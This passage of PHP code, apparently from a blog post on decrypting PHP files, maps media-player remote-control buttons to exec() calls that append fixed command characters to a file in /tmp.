exec("echo 'z' >> /tmp/command_sender.txt");
}else if ($_POST['play_pause']){
exec("echo 'Z' >> /tmp/command_sender.txt");
}else if ($_POST['stop']){
exec("echo 'Q' >> /tmp/command_sender.txt");
}else if ($_POST['pageup']){
exec("echo 'P' >> /tmp/command_sender.txt");
}else if ($_POST['pagedown']){
exec("echo 'N' >> /tmp/command_sender.txt");
}else if ($_POST['next']){
exec("echo 'F' >> /tmp/command_sender.txt");
}else if ($_POST['preview']){
exec("echo 'f' >> /tmp/command_sender.txt");
}else if ($_POST['vol_up']){
exec("echo 'V' >> /tmp/command_sender.txt");
}else if ($_POST['vol_down']){
exec("echo 'v' >> /tmp/command_sender.txt");
}else if ($_POST['tvmode']){
exec("echo '\' >> /tmp/command_sender.txt");
}else if ($_POST['audio']){
exec("echo 'a' >> /tmp/command_sender.txt");
}else if ($_POST['a-b']){
exec("echo '=' >> /tmp/command_sender.txt");
}else if ($_POST['repeat']){
exec("echo '+' >> /tmp/command_sender.txt");
}else if ($_POST['mute']){
exec("echo 'm' >> /tmp/command_sender.txt");
}else if ($_POST['subtitle']){
exec("echo 's' >> /tmp/command_sender.txt");
}else if ($_POST['select']){
exec("echo 'u' >> /tmp/command_sender.txt");
};

转载请注明:(●--●) Hello.My Weicot » 手工解密PHP被加密文件 或者如何加密文件